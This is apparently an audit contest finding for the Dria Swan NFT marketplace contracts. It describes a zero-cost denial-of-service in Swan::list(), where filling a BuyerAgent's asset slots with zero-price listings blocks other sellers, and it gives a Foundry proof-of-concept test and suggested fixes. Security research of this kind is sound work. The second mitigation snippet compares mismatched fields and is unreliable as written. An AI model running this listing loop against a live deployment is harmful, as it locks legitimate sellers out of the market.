Dria

Swan
NFTHardhat
21,000 USDC
View results
Submission Details
Severity: medium
Valid

Denial of Service (DoS) Vulnerability in BuyerAgent Listings

Description

A critical vulnerability exists in the Swan::list() function, enabling attackers to carry out a Denial of Service (DoS) attack on any BuyerAgent. This vulnerability allows an attacker to:

  • Fill all available asset slots for a BuyerAgent by repeatedly listing assets at a price of zero.

  • Bypass any listing fees, as there is no minimum price enforcement, making zero-price listings feasible.

  • Reach the maximum asset count for a BuyerAgent, effectively preventing legitimate users from listing new assets under that BuyerAgent.

Impact

This vulnerability has the following impacts:

  • Denial of Service: Legitimate sellers are unable to list assets when all slots are occupied by the attacker’s.

  • Zero-Cost Attack: The attacker incurs no cost due to the zero-price listings.

  • Persistent Blockage: The BuyerAgent remains blocked until the next operational round begins.

Proof of Concept

The provided test demonstrates the feasibility of this attack:

  • The attacker lists multiple assets with zero prices, filling all available slots for a BuyerAgent.

  • This prevents legitimate users from listing their assets under that BuyerAgent.

  • The attack requires no expense due to zero-price listings and remains effective until the operational round changes.

The following PoC demonstrates the DoS vulnerability. Run it with forge test --mt testDoSAgent to observe the exploit.

// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.20;
import "../lib/forge-std/src/Test.sol";
import "../lib/forge-std/src/console2.sol";
import "../contracts/swan/Swan.sol";
import {SwanMarketParameters} from "../contracts/swan/SwanManager.sol";
import {LLMOracleTaskParameters} from "../contracts/llm/LLMOracleTask.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
contract TestToken is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
}
contract TestSwanAsset is ERC721, Ownable {
bytes public description;
uint256 public createdAt;
constructor(
string memory _name,
string memory _symbol,
bytes memory _description,
address _owner,
address _operator
) ERC721(_name, _symbol) Ownable(_owner) {
description = _description;
createdAt = block.timestamp;
// Mint token to owner
_mint(_owner, 1);
// Approve operator (Swan)
_setApprovalForAll(_owner, _operator, true);
}
}
contract TestSwanAssetFactory {
function deploy(string memory _name, string memory _symbol, bytes memory _description, address _owner)
external
returns (TestSwanAsset)
{
return new TestSwanAsset(
_name,
_symbol,
_description,
_owner,
msg.sender // operator is msg.sender (Swan)
);
}
}
contract BuyerAgentMock {
Swan public swan;
address[] public assetsToSteal;
uint256 public reentryCount;
Phase public currentPhase = Phase.Sell;
event AttackProgress(string message, address asset, bytes data);
constructor(address _swan) {
swan = Swan(_swan);
}
function getRoundPhase() public view returns (uint256, Phase, uint256) {
return (0, currentPhase, 0);
}
enum Phase {
Sell,
Buy,
Withdraw
}
function setPhase(Phase _phase) external {
currentPhase = _phase;
}
function royaltyFee() public pure returns (uint96) {
return 10;
}
}
contract SwanTest is Test {
Swan swan;
Swan implementation;
address coordinator;
address tokenAddr;
TestSwanAssetFactory swanAssetFactory;
BuyerAgentFactory buyerAgentFactory;
ERC20 token;
address seller;
BuyerAgentMock agent;
address[] listedAssets;
uint256 constant DAY = 1 days;
function setUp() public {
seller = makeAddr("seller");
vm.deal(seller, 100 ether);
// Deploy contracts
token = new TestToken("TKN", "Token");
coordinator = makeAddr("coordinator");
swanAssetFactory = new TestSwanAssetFactory();
buyerAgentFactory = new BuyerAgentFactory();
// Set initial timestamp
vm.warp(1000000);
// Deploy Swan implementation and proxy
implementation = new Swan();
bytes memory initData = abi.encodeWithSelector(
Swan.initialize.selector,
SwanMarketParameters({
withdrawInterval: DAY,
sellInterval: DAY,
buyInterval: DAY,
platformFee: 30,
maxAssetCount: 20,
timestamp: block.timestamp
}),
LLMOracleTaskParameters({difficulty: 1, numGenerations: 45, numValidations: 20}),
coordinator,
address(token),
address(buyerAgentFactory),
address(swanAssetFactory)
);
ERC1967Proxy proxy = new ERC1967Proxy(address(implementation), initData);
swan = Swan(address(proxy));
// Deploy malicious agent
agent = new BuyerAgentMock(address(swan));
// Deal tokens
deal(address(token), seller, 1000 ether);
deal(address(token), address(agent), 1000 ether);
// Approvals
vm.startPrank(address(agent));
token.approve(address(swan), type(uint256).max);
vm.stopPrank();
}
function testDoSAgent() public {
address attacker = makeAddr("attacker");
vm.label(attacker, "attacker");
vm.startPrank(attacker);
token.approve(address(swan), type(uint256).max);
SwanMarketParameters memory params = swan.getCurrentMarketParameters();
uint256 maxAsset = params.maxAssetCount;
// attacker add assets until it reachs the maximum allowed
console2.log("max asset is : ", maxAsset);
for (uint256 i = 0; i < maxAsset; i++) {
swan.list("CoolStuff", "CS", "", 0, address(agent));
}
vm.stopPrank();
// A seller try to list an asset for a buyer
vm.startPrank(seller);
token.approve(address(swan), type(uint256).max);
vm.expectRevert(); // it reverts because the maxAssetCount has been reached by the attacker
swan.list("CoolStuff", "CS", "", 500, address(agent));
}
}

Recommended Mitigation

The cost of performing a DoS attack can be calculated as:

priceToDos = minimumPriceAsset*maxAssetCount

To mitigate this attack, consider implementing a minimumPriceAsset constraint within Swan::list() to enforce a minimum listing price. For cases where maxAssetCount is low, setting a minimum threshold for maxAssetCount can further reduce vulnerability.

Recommendation 1: Enforce Minimum Listing Price in list()

Adding a minimum price requirement to list() will prevent attackers from listing zero-price assets.

function list(...) external {
+ require(_price >= minimumListingPrice, "Price below minimum");
// existing code
}

Recommendation 2: Validate Minimum and Maximum Bounds in Initialization

Add validations in the initialize() function to enforce positive values for minimumPriceAsset and minimumAssetCount and ensure that maxAssetCount meets a minimum threshold.

function initialize(
SwanMarketParameters calldata _marketParameters,
// ... other params ...
) public initializer {
require(_marketParameters.minimumPriceAsset > 0, "Minimum price must be positive");
require(_marketParameters.minimumAssetCount > 0, "Minimum asset count must be positive");
+ require(_marketParameters.maxAssetCount >= minimumPriceAsset, "Invalid asset count bounds");
// Rest of existing initialization...
}

By enforcing these constraints, the protocol can prevent zero-cost DoS attacks.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

DOS the buyer / Lack of minimal amount of listing price

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.